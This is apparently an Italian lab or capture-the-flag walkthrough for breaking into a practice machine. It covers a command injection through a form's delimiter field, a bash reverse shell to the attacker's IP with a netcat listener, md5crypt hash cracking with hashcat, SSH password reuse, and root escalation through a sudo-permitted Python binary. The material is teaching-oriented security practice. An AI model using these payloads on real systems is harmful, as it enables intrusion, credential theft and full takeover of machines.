- Scansione Rete
- Scansione Dispositivo
- Vedere Redirezione
- Cercare Path con Dizionario Noto
- Reverse Shell
    - Decodifica della Password di un Utente
    - Login come Root

Scansione Rete

```
$> nmap -sP $(IP-RETE)
```

Scansione Dispositivo

```
$> nmap -sP $(IP-DISPOSITIVO)
```

Si ricerca una porta aperta, che magari ospiti un web server. Se la si trova, si cerca di accedere attraverso il browser web. In questo caso l'indirizzo porta ad una pagina di login.

Vedere Redirezione

```
$> wget $(URL) --no-redirect
```

Cercare Path con Dizionario Noto

```
$> gobuster dir -u $(URL) -w $(WORDLIST) -t $(THREADS_NUMBER) -x $(EXTENSION)
```

Per evitare la redirezione si utilizza Burp, un software pre installato di Kali. Burp intercetterà le richieste in uscita e in entrata tra la nostra macchina e quella attaccata. Può essere inserito come proxy all'interno di Firefox (per semplicità c'è un'estensione chiamata *FoxyProxy*). Una volta fatta la richeta dico a Burp di intercettare la risposta e la forward. In questo modo nel browser riesco ad accedere al path */index.php* che prima mi rendirizzava. Se si riceve un redirect in Burp è possibile cambiare il codice di ritorno da 302 (redirect) a 200 (OK) in modo da poter visualizzare correttamente la pagina di nostro interesse. In questo caso si riesce ad accedere ad una pagina per soli amministratori. Ogni account ha i permessi degli altri. In questa fase ci si limita a navigare nel sito con il solo scopo di esplorarlo e comprenderne le vulnerabilità. Si accede al file `config.php` e si vedono i dati di accesso al Database. Si ha la conferma che è in locale. In questo momento

abbiamo accesso a tutti i file del sito che hanno estensione `.php`. Nella sito è presente una pagina con un form che permette di caricare files. In `files.php` si vede che il file viene aperto e caricato direttamente sul database. Per questa volta, seppur non convincente, non è questa la vulnerabilità da sfruttare.

Qui è presente un form che ci fa scegliere il delimitatore. Attraverso Burp è possibile inserire un comando in coda al delimitatore scelto, in questo modo:

```
delim = space; echo $(id) > /var/www/out.log
```

L'obiettivo è ora quello di ottenere una *reverse shell*. Una shell che se utilizzata dal nostro computer ci permette di controllare quello della vittima.

Reverse Shell

Si cercano degli esempi di reverse shell in bash che sfruttano TCP.

```
$> bash -c "bash -i >& /dev/tcp/$(NOSTRO-IP)/$(PORTA) 0>&1"
```

- `bash -c` serve per eseguire un comando
- `bash -i` esegue bash in maniera interattiva.
- `>&` redirezione di output ed errore su un file.
- `192.168.174.8` è il nostro IP a cui vogliamo connetterci.
- `4444` è la dell'attaccante. In definitiva si ottiene il comando:

```
delim=space; bash -c "bash -i >& /dev/tcp/$(NOSTRO-IP)/$(PORTA) 0>&1"
```

E' necessario codificare le istruzioni date, per farlo è possibile sempre utilizzare l'apposita funzione di Burp. Si ottiene una stringa di codice esadecimale "%75%70%..." (l'istruzione è molto lunga), ottennendo:

```
delim=
%75%70%...
```

Prima di fare questo dobbiamo fare in modo che il nostro PC sia in ascolto: per farlo si utilizza il comando `nc` (netcat).

```
$> nc -lvnp 4444
```

Si manda la richiesta POST precedentemente codificata come URL con l'ausilio di Burp e si apre la shell attraverso cui è possibile lanciare comandi. In questo modo ci registriamo al sistema come utente "prova".

Modifichiamo la shell in modo da poter utilizzare comandi interattivi come MySQL, per farlo utilizzamo python.

```
$> python3 -c "import pty;pty.spawn('/bin/bash')"
```

Controlliamo quali utenti sono presenti sia sul database che sulla macchina: in questo caso l'utente *vader*. La password sul database viene salvata hashata. Esistono tabelle contenenti la password e il corrispettivo hash (password note). In questo caso nell'hash è stato aggiunto il "sale" (🧂), una stringa utilizzata per cambiare l'hash della password. Le tabelle così non sempre risultano utili. Solitamente il sale è una stringa casuale più o meno lunga. La password corrispondente a vader sul db è la seguente: `$1$🧂llol$W7ysLjEZ.BUStjXoWzQKl/`. Si conosce l'algoritmo utilizzato che viene codificato con `$1`. Per trovare la password di nostro interesse sarebbe possibile creare uno script in PHP con un dizionario noto, oppure utilizzare un tool, già presente su Kali, chiamato *hashcat*. Per farlo salviamo l'hash della password da scoprire in un file *hash.txt*.

Decodifica della Password di un Utente

Come vediamo dall'url contenente gli esempi di hash, l'hash `$1` corrisponde all' *hash-mode* numero 500 di hashcat. Come *wordlist* si utilizza *rockyou*, una lista contenente le password più utilizzate. Ora possiamo eseguire hashcat, che impiega più o meno tempo a seconda della configurazione e dell'hardware utilizzato.

```
$> hashcat -a 0 -m 500 ~/hash /usr/share/wordlists/rockyou.txt
```

Una volta trovata la password, per mostrare il risultato si esegue:

```
$> hashcat -a 0 -m 500 ~/hash /usr/share/wordlists/rockyou.txt --show
```

La password di *vader* risula essere *sithlord1*. Il computer collegato alla rete esponeva due porte: la 80 e la 22. Vediamo se utilizza la stessa password anche per la sua macchina, collegandoci alla porta 22. L'esito di questa operazione è positivo. Proviamo a diventare *root* (con il comando *su*), ma in questo caso la password è diversa. Guardiamo quali altri utenti sono presenti sulla macchina, con:

```
$> cat /etc/passwd
```

Proviamo ad utilizzare *sudo*, ma anche in questo caso la macchina è stata configurata decentemente e non è l'utente *vader* non può diventare amministratore.

Login come Root

Con il seguente comando il terminale stampa la configurazione di sudo per l'utente con cui siamo loggati.

```
$> sudo -l
```

Vediamo che l'utente vader può eseguire python3 come amministratore, ma non quello che si esegue quando si lancia il comando *python3*, bensì quello nel percorso */opt/python3*. Eseguendolo utilizziamo python come root.

```
$> sudo /opt/python3
```

Ora che siamo root, possiamo scrivere un file in python, assicurandoci di essere root con una semplice write:

```
>>> with open("/home/vader/test", "w") as f:
...     f.write("ciao)
```

Controlliamo il file appena creato:

```
$> ls -asl
```

E tra i file troviamo il *test* creato dall'utente *root* appartenente al gruppo *root*. Ora che siamo sicuri di eseguire come root quando utilizziamo python, possiamo eseguire un bash utilizzandolo:

```
>>> import pty; pty.spawn("/bin/bash)
```

Un'altra vulnerabilità, sempre presente su questa macchina ma che non riguarda l'utilizzo di python la si può trovare nei gruppi. Per trovarla si consiglia di utilizzare un tool che consente di fare un'analisi di tutto ciò che è presente sul sistema: *LinPeas*. Analizzando l'output del tool dovrebbe apparire chiaramente che c'è un problema su un gruppo dell'utente. Da qui si dovrà capire qual è la vulnerabilità da sfruttare e come sfruttarla. Quindi per questa macchina, oltre al metodo visto con python, è necessario specificare *un altro metodo per fare Privilege Escalation*.